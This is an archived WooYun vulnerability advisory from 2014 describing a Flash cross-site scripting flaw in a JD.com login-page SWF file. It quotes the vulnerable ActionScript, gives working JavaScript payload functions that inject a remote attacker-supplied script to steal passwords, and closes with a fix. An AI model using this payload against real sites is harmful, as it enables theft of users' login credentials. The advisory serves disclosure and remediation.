当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076042

漏洞标题:京东登录页面XSS Rookit可致用户密码被窃取 (乌云峰会视频演示-0x03)

相关厂商:京东商城

漏洞作者: 多多关照

提交时间:2014-09-14 13:53

修复时间:2014-09-19 13:54

公开时间:2014-09-19 13:54

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-14: 细节已通知厂商并且等待厂商处理中
2014-09-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

乌云峰会视频演示-0x03

详细说明:

1. 缺陷文件:http://misc.360buyimg.com/purchase/swf/flashcookie.swf
2. 缺陷代码:

if (this.checkSaveReady()){
trackID = ExternalInterface.call("returnCookieByKey", "TrackID");
this.saveFlashCookie("TrackID", trackID);
} else {
saveTimer = new Timer(100, 0);
saveTimer.addEventListener(TimerEvent.TIMER, this.saveTimeHandler);
saveTimer.start();
};


3. 可以看到,要进入saveFlashCookie 这个流程,需要checkSaveReady()返回真,checkSaveReady的返回值来自于 ExternalInterface.call("isSaveReady");同时, saveFlashCookie 的第2个参数来自 ExternalInterface.call("returnCookieByKey", "TrackID");
4. 基于此,可以构造 isSaveReady和returnCookieByKey
另外,在FLASH初始化时,会调用 getFlashCookie函数,该函数最终会调用
ExternalInterface.call(_local1, _local3);
其中_local3来自于 FLASH本地存储数据中的TrackID
构造的代码如下:

function isSaveReady(){
return true;
}
function getFlashCookie(){
}
function returnCookieByKey(){
if(window.ActiveXObject){
return '\\")));var m=document.createElement(\'script\');m.src=\''+evilcodes+'?\'+Math.random();document.body.appendChild(m);}catch(e){}//';
}else{
return '\\"));alert(document.domain)}catch(e){}//';
}
}


漏洞证明:

http://v.youku.com/v_show/id_XNzc3MzM0MTU2.html
密码:wooyunsummit
此外,由于京东的开发人员在使用写代码时,没有注意chrome下 https协议的页面无法正常调用http协议下的FLASH文件,导致这个FLASH XSS漏洞在chrome下无法正常执行,但IE下是可以的,因此视频中使用IE作为演示。

修复方案:

对getFlashCookie中或其他函数中进入ExternalInterface.call 函数的数据,进行必要的过滤,一般要求第一个参数写死,第2个参数,过滤掉 \ ,在不影响业务的前提下,可以尽量避免特殊字符的处理,仅允许纯数字或字母进入。

版权声明:转载请注明来源 多多关照@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-09-19 13:54

厂商回复:

漏洞Rank:10 (WooYun评价)

最新状态:

暂无